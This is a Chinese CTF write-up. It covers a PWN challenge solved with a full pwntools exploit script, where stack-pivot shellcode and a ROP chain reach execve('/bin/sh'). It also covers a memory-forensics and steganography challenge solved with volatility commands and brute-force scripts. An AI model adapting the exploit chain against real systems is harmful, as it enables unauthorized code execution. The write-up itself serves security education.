PWN

three

IDA打开之后,函数名都是sub_xxx,然后通过nc官方部署的程序(或本地在程序所在目录创建flag文件后),获得程序中会出现的字符串定位到了重要函数,我用的是字符串Maybe is good

贴出来一下重要函数对应的内存地址:

函数名(已重命名) 内存地址
main 0x08048CA8
load_flag 0x080488C5
Maybe_is_good 0x0804897E
main_method 0x08048B5C

四者结构如图:

四者结构

load_flag里面需要加载flag文件,如果没有就exit,也就是一开始无法本地打开原因。

Maybe_is_good 里面没有特别的,关键在main_method,先贴出完整代码(以重名部分函数&注释)

gdb调试:’very much’ 后输入 ‘aaa’,’tell me’ 后输入 ‘bbbbbbbbbbb······’。可以看到eax被写入了’aaa’,ecx被写入了’bbbbbbbbbbbbbbbbbbb····’

然后就是第22行代码,看不懂就查汇编,对应的汇编是call eax。就是当eax是函数来调用。结合前面的eax会被覆写为输入值,就可以进行ROP

攻击大致流程如下:

  1. eax被覆写为payload1
  2. 写入payload2
  3. call eax
  4. int80_call
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *


context.log_level = 'debug'
elf = ELF('./pwn')
# 'ldd ./pwn' get libc.so
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

sh = process('./pwn')
sh.sendlineafter('index:\n', str(0)) # 0<=x<=31

payload = asm('''
xchg ecx, esp
ret
''',arch = 'i386')
sh.sendafter(' much!\n', payload)

sh.sendlineafter('size:\n', str(512)) # 0<=x<=512,x>payload

# ROPgadget
layout = [
0x08072fb1, #: pop edx; pop ecx; pop ebx; ret;
0,
0,
0x80f6d40, # '/bin/sh\0' address
0x080c11e6, #: pop eax; ret;
11, # len '/bin/sh\0'
0x080738c0, #: int 0x80; ret;
]
sh.sendafter('me:\n', flat(layout).ljust(0x80, '\0') + '/bin/sh\0')

sh.interactive()

EXP解释

最后:官方wp解法是交换ecx、esp的内容之后,利用返回值是1还是2,来逐个字节爆破得出flag。

MISC

Advertising for Marriage

内存取证题目。题目给出的是raw文件,这个文件不是图片的那个raw。。。初次之外内存取证还有dmg文件。利用的分析工具最主要是volatility

首先查看镜像信息:volatility -f Advertising\ for\ Marriage.raw imageinfo

使用 WinXPSP2x86 预设。然后就是查进程:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 pslist

存在记事本进程,查一查有什么:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 notepad

提示:hint:????needmoneyandgirlfirend

扫描所有png文件:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 filescan|grep png

找到一张 png 图片:vegetable.png。导出图片:volatility -f Advertising\ for\ Marriage.raw --profile=WinXPSP2x86 dumpfiles -D . -Q 0x000000000249ae78

图片无法显示,报错:IHDR: CRC ERROR

估计图片尺寸被修改了。

用脚本计算图片实际长度和宽度,并且生成修复后的图片。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import os
import binascii
import struct

img = open("vegetable.png", "rb").read()

for w in range(1024):
for h in range(1024):
data = img[0xc:0x10] + struct.pack('>i',w) + struct.pack('>i',h) + img[0x18:0x1d]
crc32 = binascii.crc32(data) & 0xffffffff
if crc32 == struct.unpack('>i',img[0x1d:0x21])[0] & 0xffffffff:
print w, h
print hex(w), hex(h)
open("vegetable_new.png", "wb").write(img[:0xc] + data + img[0x1d:])
exit()

Stegsolve 查看图片,找到模糊的 flag,一般情况较难恢复。同时,也发现 lsb 有点东西。

解密需要密钥,密钥为上面记事本找到的提示:????needmoneyandgirlfirend,需要魔改工具爆破前 4 字节。

爆破得到密钥 b1cxneedmoneyandgirlfirend,这里给出自己写的破解脚本,需要把lsb加密库clone 下载,然后把脚本丢里面运行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#coding:utf-8
import os
import string

# creat password
password = []
pd_element = list(string.ascii_letters) + list(string.digits)
for i in pd_element:
if i != 'b':
continue
for j in pd_element:
#if j != '1':
#continue
for k in pd_element:
for m in pd_element:
password.append(i+j+k+m+"needmoneyandgirlfirend")
#pd = i+j+k+m+"needmoneyandgirlfirend"
#print "password = %s " %pd

n = 0
file_name = '2.png' # 解密的图片
out_file_1 = 'out.txt' # lsb中间文件
out_file_2 = 'result.txt' # result结果记录文件
for pd in password:
out_data_2= open(out_file_2,'a')
pd = 'b1cxneedmoneyandgirlfirend'
try:
print "total try {} times\ntrying: {}".format(n,pd)
argv = r'python lsb.py extract ' + file_name + ' ' + out_file_1 + ' '+ pd
lsb = os.popen(argv,'r')
data = lsb.read()
lsb.close()
print "{} SUCCESS".format(pd)
out_data_1 = open(out_file_1,'r')
data = out_data_1.read().strip('\n')
out_data_2.write(data+'\n')
n += 1
break
except:
print "{} ERROR".format(pd)
n += 1
out_data_2.close()

解密图片隐写信息,得到字符串:VmlyZ2luaWEgY2lwaGVydGV4dDpnbnh0bXdnN3IxNDE3cHNlZGJzNjI1ODdoMA==

base64 解码得到:Virginia ciphertext:gnxtmwg7r1417psedbs62587h0

然后再使用在线维吉尼亚密码解密:密钥b1cxneedmoneyandgirlfirend

解密得到: flagisd7f1417bfafbf62587e0